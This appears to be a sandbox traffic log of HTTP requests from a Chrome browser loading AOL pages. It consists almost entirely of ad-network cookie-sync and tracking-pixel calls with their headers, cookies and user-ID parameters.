Source: global traffic	HTTP traffic detected: GET /ecm3?id=LWJTZABN-X-K4PW&ex=d-rubiconproject.com&status=ok&gdpr=0&us_privacy=1YNN HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /xuid?mid=5989&xuid=CAESEDunR39p6uOag-kf4Op45Fg&dongle=c627&gdpr=0&gdpr_consent=&google_cver=1 HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=rp&google_hm=TFdKVFpBQk4tWC1LNFBX&google_push=&gdpr=0 HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUly4VaqSUudDbFxZ6i8f3wSstck2G-xsKi1H5Ki1wSrQCD5aU-nM8msFXEJKzk
Source: global traffic	HTTP traffic detected: GET /v000/sync?userid=7WXU1ZUhF2Kx&ev=1&pn_id=pp&gpp_sid=&gpp=&us_privacy=&pid=561118&gdpr_consent=&gdpr=0 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856
Source: global traffic	HTTP traffic detected: GET /v000/sync?pn_id=c&google_gid=CAESEOEc1rz1IR8Gw4xvRTDNP88&google_cver=1 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856
Source: global traffic	HTTP traffic detected: GET /cksync.html?cs=8&vsid=3595052986404735000V10&type=opx&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=e76223d5-0ccf-44a1-8261-d9c1c88ec58a HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3595052986404735000V10
Source: global traffic	HTTP traffic detected: GET /sync?pn_id=rc&id=LWJTZABN-X-K4PW HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.yieldmo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856
Source: global traffic	HTTP traffic detected: GET /usersync?b=mag&i=LWJTZABN-X-K4PW HTTP/1.1Host: usersync.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3595052986404735000V10&type=son&refUrl=&vid=65037015853595052986404735000V10&axid_e=&ovsid=3e69915a-aa81-453c-8be6-621af7150f41 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3595052986404735000V10
Source: global traffic	HTTP traffic detected: GET /psstatic/aolhelp-prod/18.5.53/assets/js/vendor/swipe-2.0.min.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://help.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?dsp_id=70&user_id=8785666810998501200&ssp=triplelift HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=ad3998d2-fd62-4225-919d-66f459efadb2; c=1716503696; tuuid_lu=1716503699
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=9886857&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; PugT=1716503706; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969
Source: global traffic	HTTP traffic detected: GET /license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjYzRfMzQ4NWVmODQwMDIyYjVmMGZkMmUyMGIzZWEzMjYzZTNjYWZmOWZjMjIyOTcyYWFmNjUwZDY3NTM5MjNiNzZhMQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1Host: manifest.prod.boltdns.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://s.yimg.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNTQmdGw9NDMyMDA%3D&piggybackCookie=VmE3357sx_5fBlXS5aQvRPDoXLvjgOaSpguvq4YkHhU&pi=pubmatic&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; PugT=1716503706; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969
Source: global traffic	HTTP traffic detected: GET /AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=52330255&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1Host: image6.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; PugT=1716503706; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969
Source: global traffic	HTTP traffic detected: GET /dis/usersync.aspx?r=3&p=4&cp=pubmaticUS&cu=1&&gdpr=0&gdpr_consent=&url=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5MjgmdGw9NDMyMDA=&piggybackCookie=uid:@@CRITEO_USERID@@ HTTP/1.1Host: widget.us.criteo.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?partner=236&icm&cver&gdpr=0&smartmap=1&redirect=ps.eyeota.net%2Fpixel%3Fgdpr%3D0%26gdpr_consent%3D%26pid%3D3b2cb90%26t%3Dgif%26uid%3D%25m HTTP/1.1Host: pixel.onaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: cookie=a4f26c9103f1a853; done_redirects236=1
Source: global traffic	HTTP traffic detected: GET /redirectuser?sid=GET_SID_FROM_ZETA&gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dzeta_global_ssp%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3DBUYERUID HTTP/1.1Host: ssp.disqus.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ping_match.gif?ei=MEDIANET&rurl=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3595052986404735000V10%26type%3Ddxu%26refUrl%3D%26vid%3D65037015853595052986404735000V10%26axid_e%3D%26ovsid%3D_wfivefivec_ HTTP/1.1Host: pm.w55c.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cookie-sync/rp?bee_sync_partners=rp&gdpr=0&us_privacy=1YNN HTTP/1.1Host: match.prod.bidr.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/SPug?partnerID=156078&xid=y-tptrnFdE2uVGPHeutxDi92.PqGg2S8o-~A&gdpr=0 HTTP/1.1Host: image4.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; PugT=1716503704; SPugT=1716503705; chkChromeAb67Sec=3; pi=133799:4; SyncRTB3=1717286400%3A63%7C1719014400%3A203%7C1717632000%3A22_166_13_264_21_56_251_55_54_46_165_220_266_8_234_71_254_3_214_233%7C1717027200%3A2_15_223%7C1721606400%3A69%7C1717718400%3A35
Source: global traffic	HTTP traffic detected: GET /usersync/medianet/?puid=${VSID}&cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__ HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4
Source: global traffic	HTTP traffic detected: GET /prebid/setuid?bidder=rubicon&uid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eus.rubiconproject.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
Source: global traffic	HTTP traffic detected: GET /pubmatic/1/info?sType=sync&sExtCookieId=BD0DE19C-09D4-4B62-A188-46A0D2E6C177&sInitiator=external&gdpr=0&gdpr_consent= HTTP/1.1Host: uipus.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
